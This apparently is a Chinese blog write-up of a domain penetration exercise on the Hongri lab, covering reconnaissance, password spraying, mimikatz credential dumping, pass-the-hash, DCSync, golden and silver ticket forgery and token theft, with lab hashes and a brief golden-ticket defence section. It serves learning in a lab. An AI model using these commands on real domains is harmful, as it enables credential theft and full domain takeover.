靶机环境是红日靶场
这里就不添加红日靶场的搭建环境了,可以自行搜索
域信息收集
这里主要是利用获取到的win7权限的shell来进行域信息收集
首先是确认是否存在域
1 2 | 进入shell
C:\Users\Administrator\Desktop>systeminfo
|
这里可以看到很多系统的信息其中就包括域信息
这里也可以看到这里的域控是\\OWA这台机器
查看域内成员
1 | C:\Users\Administrator\Desktop>net view
|
这样就可以查看到域内有什么用户
然后进行域内用户的ip确定
这就直接ping机器名就可以了
1 2 | ping OWA
ping ROOT - TVI862UBEH
|
可以看到一个是192.168.52.138,一个是192.168.52.141
这样就完成了大概的域内信息收集,确定了域名,域内用户和对应的ip
接下来获取机器的端口信息,可以直接用nmap,这里可以设置代理,也就是启用msf中的sock服务,但也可以直接在msf中调用nmap
前提是需要配置路由
然后就可以直接开扫,也可以调慢点防止权限掉了
1 2 | 域控机器用的msf中的nmap扫描的
nmap - sV - A - O 192.168 . 52.138
|
1 | msf6 exploit(windows / smb / psexec) > nmap - sV - A - O 192.168 . 52.141
|
完成收集端口和服务信息
SPN扫描
在域内渗透中,进行 SPN 扫描主要有以下几个重要目的:
- 服务发现
通过扫描 SPN,可以了解到域内有哪些重要服务正在运行,比如能够发现存在哪些数据库服务(如 SQL Server)、邮件服务(如 Exchange)、文件共享服务等,这有助于攻击者确定后续可能的攻击目标和渗透切入点。
- 账户关联探测
由于 SPN 与运行服务的账户相关联,分析扫描得到的 SPN,有可能推断出哪些服务是由高权限账户(如域管理员账户)在运行,或者发现一些有价值的普通账户与特定服务的关联情况,为进一步获取权限(比如尝试破解相关账户密码、进行权限提升等操作)提供线索。
- Kerberos 攻击前置信息收集
了解域内的 SPN 情况是实施一些基于 Kerberos 协议攻击(如 Kerberoasting 攻击、黄金票据攻击等)的重要前提,因为这些攻击手段往往需要知道目标服务的 SPN 以及相关的 Kerberos 认证信息等,通过 SPN 扫描先把基础信息收集齐全,才能更顺利地开展后续攻击。
这里可以直接使用windows自带工具,进入shell
1 | C:\Users\Administrator\Desktop>Setspn - q * / *
|
这样就完成了
主要的是分析对应的信息,可以直接给ai分析
用户枚举
使用模块
1 2 3 4 5 | auxiliary / gather / kerberos_enumusers
set rhosts 192.168 . 52.138
set domain god.org
set user_file / usr / share / wordlists / domain / username.txt / / 这个字典可以自己写或者去网上获取
run
|
这样就完成了用户枚举
密码喷洒
1 2 3 4 5 6 | use auxiliary / scanner / smb / smb_login
set rhost 192.168 . 52.0 / 24
set smbdomain god.org
set pass_file / usr / share / wordlists / domain / password.txt
set user_file / usr / share / wordlists / domain / ez_user.txt
run
|
运行之后就可以进行密码喷洒了
这个可能要很久的时间就是,如果加快爆破速度可能会导致session断掉,所以尽量得把速度降下来
PTH攻击
获取hash值
这里是win7的hash值
1 2 3 4 | meterpreter > hashdump
Administrator: 500 :aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
Guest: 501 :aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
liukaifeng01: 1000 :aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
|
这里获取的hash值不知道为什么是空的,因此这里要使用kiwi中来获取hash值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | meterpreter > kiwi_cmd sekurlsa::logonPasswords
Authentication Id : 0 ; 2064972 ( 00000000 : 001f824c )
Session : Interactive from 1
User Name : Administrator
Domain : GOD
Logon Server : OWA
Logon Time : 2025 / 1 / 5 14 : 02 : 13
SID : S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089 - 500
msv :
[ 00000003 ] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87d5f7fffc086227d3
* NTLM : 81be2f80d568100549beac645d6a7141
* SHA1 : 216d52c4efa68532a98c8cbe2b492634d175fa84
其中传递这个edea194d76c77d87d5f7fffc086227d3: 81be2f80d568100549beac645d6a7141 作为 hash 值
|
使用msf
1 2 3 4 5 6 | use exploit / windows / smb / psexec
set payload windows / meterpreter / bind_tcp
set rhost 192.168 . 52.138
set smbuser administrator
set smbpass edea194d76c77d87d5f7fffc086227d3: 81be2f80d568100549beac645d6a7141
run
|
这里就可以攻击成功了
命令都执行成功了,但没有shell返回
然后到win7中看连接情况也是没有连接上去
这里不知道为什么我使用pth进行转移的时候原来的连接断了
但攻击是成功了
黄金票据
黄金票据和kerberos协议中的TGS有关,类比生活就和发门票的售票处。
专业来讲就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,也就是拿到了可以创建用户的权限,既域控。
前提:
- 拿到域控,适合做权限维持
- 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
条件要求:
- 域名
- 域的SID 值
- 域的KRBTGT账户NTLM密码哈希
利用:
(1)获取信息
1、获取域名
1 2 3 4 5 | whoami
net time / domain
ipconfig / all
获取的域名:god.org
|
2、获取SID
1 2 | whoami / all
S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089
|
3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值
在msf中使用mimikatz
1 2 | kiwi_cmd lsadump::dcsync / domain:god.org / user:krbtgt / csv
58e91a5ac358d86513ab224312314061
|
在红日靶场下获取的管理员权限是可以访问域控机器的下的目录文件
1 | C:\Users\Administrator\Desktop> dir \\OWA.god.org\c$
|
然后创建一个普通权限的用户,并切换权限到这个普通用户来模拟在渗透过程中出现权限失效的情况
这里可以看到并没有给这个刚创建的用户管理员权限
然后先在win7电脑上用这个用户执行反弹shell的木马
获取shell
可以发现没有权限访问域控机器文件
(2)伪造TGT
1、清除所有票据
2、使用mimikatz伪造指定用户的票据并传递
1 | kiwi_cmd kerberos::golden / admin:administrator / domain:god.org / sid:S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089 / krbtgt: 58e91a5ac358d86513ab224312314061 / ptt
|
然后在尝试访问域控文件夹
这样就可以访问了,这里要注意sid不能错。
3、防御
防御措施如下:
限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给
自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力
白银票据
白银票据就类似于门票,这样相对获得的权限比较小,但也更加安全,可以不经过KDC的检查。也就是伪造ST票据
利用前提:
条件要求:
1 | kerberos::golden / user:<目标服务账户用户名> / domain:<域名> / sid:<域SID> / target:<目标服务所在主机IP地址> / service:<服务名> / rc4:<目标服务账户的哈希值(RC4格式)> / ptt
|
- <目标服务账户用户名>
- <域名>
- <域SID> --》等同于域管理员的sid去掉500
- <目标服务所在主机IP地址> --》可以是ip也可以是主机名加域名
- <服务名> --》可以通过spn扫描获取
- <目标服务账户的哈希值(RC4格式)> --》使用hashdump
利用
获取域控服务器的文件共享服务
1、获取域名
2、获取SID
1 | S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089
|
3、获取目标服务所在主机IP地址
4、可利用的服务CIFS(磁盘共享的服务)
5、要伪造的用户名,这里可以伪造管理员,也可以伪造目标机器的OWA$
1 2 | / user:Administrator
/ user:OWA$
|
6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB带的hash,不是admin的)
使用命令
1 | kiwi_cmd sekurlsa::logonPasswords
|
获取到下面的数据
1 2 | Administrator / rc4: 81be2f80d568100549beac645d6a7141
OWA$ / rc4: 963f615bfe1453cc69f2b9b7f8b0fac0
|
获取低权shell
这是访问不了目标的共享文件服务的
(2)伪造ST
1、清除所有票据
2、使用mimikatz伪造指定用户的票据并注入到内存
1 2 3 4 | kiwi_cmd kerberos::golden / user:OWA$ / domain:god.org / sid:S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089 / target:OWA.god.org / service:cifs / rc4: 963f615bfe1453cc69f2b9b7f8b0fac0 / ptt
/ / 也可以用admin账户是一样的
kiwi_cmd kerberos::golden / user:Administrator / domain:god.org / sid:S - 1 - 5 - 21 - 2952760202 - 1353902439 - 2381784089 / target:OWA.god.org / service:cifs / rc4: 81be2f80d568100549beac645d6a7141 / ptt
|
这样就完成了白银票据
令牌
使用令牌可以去进程中窃取,在msf中可以直接使用steal_token来窃取令牌
窃取令牌前无法访问域控的目录
窃取令牌
先查看当前有的令牌
1 2 | load incognito
list_tokens - u
|
这里是一个普通用户,所以看不到其他进程的令牌用户,所以也窃取不到其他的权限,这个还是有点鸡肋的
如果有其他用户和我们同一权限,那么我们就可以窃取到对应的令牌,然后访问对应的服务
这个普通权限也无法提权(当然只是使用msf自带的getsystem提权不了,可以使用一些别的提权脚本)
1 2 | msf中窃取令牌的命令
steal_token <对应进程的PID>
|
msf渗透总结
上面是全部依靠msf进行渗透测试的,总结下来最深的东西是,msf生成的木马在虚拟机中不知道是什么原因非常不稳定,容易崩溃,特别是在执行一些命令的时候,比如mimikatz的一些命令,有的能回显,有的就卡这没法回显,然后到虚拟机中一看是程序崩溃了,包括之前的会话也掉了,除非是先进行进程转移了才不会出现说是崩溃,所以如果是msf上马之后就得尽快转移进程。
在实践中我遇到的问题
就是在运行过程中发现突然没有回显了,八成是在win7虚拟机中的木马进程崩溃了,我在运行msf中kiwi模块的时候就会经常这样,然后还有密码喷洒的时候也会掉线,就可以尝试把扫描速度降下来或者找一些内网密码喷洒工具来使用。